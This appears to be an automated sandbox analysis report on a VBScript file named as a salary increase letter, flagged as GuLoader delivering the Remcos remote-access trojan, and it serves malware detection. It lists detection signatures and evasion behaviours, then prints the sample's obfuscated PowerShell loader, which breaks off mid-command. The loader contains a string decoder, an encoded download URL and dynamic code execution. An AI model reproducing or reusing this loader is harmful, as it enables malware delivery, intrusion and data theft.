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Windows
Analysis Report
Salary Increase Letter_Oct 2024.vbs
Overview
General Information
Detection
Remcos, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- wscript.exe (PID: 7944 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Salar y Increase Letter_Oc t 2024.vbs " MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 5936 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Italom ania stran gulations drhammerne s Waldglas #>;$Visua list='Akti vitetspdag ogikkens'; <#Castilia nskes Cell eforskning slobbish Malakon Ne djusteres fyg reinte rrupt #>;$ startsymbo ls=$skjald edigtets+$ host.UI;If ($startsy mbols) {$A matrskuesp illerne++; }function Fanebrere( $Viscerosk eletal){$s algsvarern e=$Menazon s+$Viscero skeletal.' Length'-$A matrskuesp illerne; f or( $Overc ommited=3; $Overcommi ted -lt $s algsvarern e;$Overcom mited+=4){ $Procentde ls++;$stik brevenes+= $Viscerosk eletal[$Ov ercommited ];$outpara gon='Derma tologies'; }$stikbrev enes;}func tion Halvr aaddent($L andskatter ets){ & ($Jamrede s) ($Lands katterets) ;}$success ionernes=F anebrere ' PhoM aroFa rzBruiNonl Myol suaTr i/ P, ';$s uccessione rnes+=Fane brere ',al 5 In.Rai0s t Gk( aWs eiskinPan dKvio liwR idsEm KolN nkTGru Km 1 la0F n.s ht0Mot;Ele HypWUtriM esn sn6s,i 4 o; Ma Op lxGla6Fer4 Uun;Grf .a rPnevRec:R ed1Per3Cra 1sc . G,0 so) .a Rid GFlieVogcE jek UdoVol / on2Ce 0r ip1Und0 Ac 0 Io1 Co0s ,u1 el Est FUnci InrD ireJugf mp o Rex Bo/n on1Akt3,hu 1 i.Di 0I, t ';$Penge historier= Fanebrere 'VaaUFrisH u.E ewRApo -FolALibGp .cEExsn ri Tsul ';$Oo ziness=Fan ebrere 'Co chFort sut sep,re:Ca m/Res/foul Tinn.nt6Re bRas9 De. A.s unhsp .os mp,or/ trePolOEn tYFlaLHe p RkeCGr y d oFAfr/ taP TebaT.east esIm kse,n ,knsreePe dlKassLone swosFin. i uFar3 pr2M ot ';$Casb ah=Fanebre re 'Pre>no n ';$Jamre des=Fanebr ere ' skis piE dsX Ma ';$Reagit ation='Int ertrace';$ Jvningers= '\Foregrib .ses';Halv raaddent ( Fanebrere ' B,$Mi.gZ o,L omOClo Br tATakLP ar: agiPro nsliDResya f lkegi st cGra=Ur.$L e E rinsla v ro:UnsAO pipFlgpVap DAl aspet ReaRap+gla $st,jChlvV isNgali ra NCaeGOpde riRpuns D, ');Halvra addent (Fa nebrere ' De$EpiGVan LsprOC oBk omAFooLHoi :Bo,p orYP r.rNagh.tv ERatLO.rIG ynoRgem s ETittComEC heRmo.s Bo =sa $ActOs taop.kz .r I l nZi e VisU ssPar . .rssprP LaL T.IKre TPro(Bes$s mocForA Hu sU nB llAU ndHslo) o ');Halvraa ddent (Fan ebrere 'sm a[ sknExoe GentUnd.Un tsBileBilr KrovstrI D CR se RnP N,kO LiiDi snEn tPauM bisa Esn T eA RogRioe GrarBis]K. n:Non:stas subestrcIn UFrer Fai EjetTany L iPAlbR,arO s etpq,oC. bC MoOslol Rac Pro=A. e P c[ Unn .reA btUn a. MasTroe s bcsupu i mrslyi.ert TraYChupPr oRA sOBarT U so.itCB toTu lselT assY HaPDr iEApl]For: K :Unitem bl LasUni1 unm2 Uf ') ;$Ooziness =$Pyrhelio meters[0]; $Bouw=(Fan ebrere 'B y$forgUopl stooA dBGi sA uaLU.c: CreTAn uTo rrHe bEthO MatTbacsMo k= N NPole RatWski- s .Oskab spJ EjeeCouCGo dtAtr Tegs BayFlosIr itBisE ukM sni. OvnFl uePsyTVul. CypW C,EBa rbp,cC K l doiUncE A rNO tT.oo ');Halvraa ddent ($Bo uw);Halvra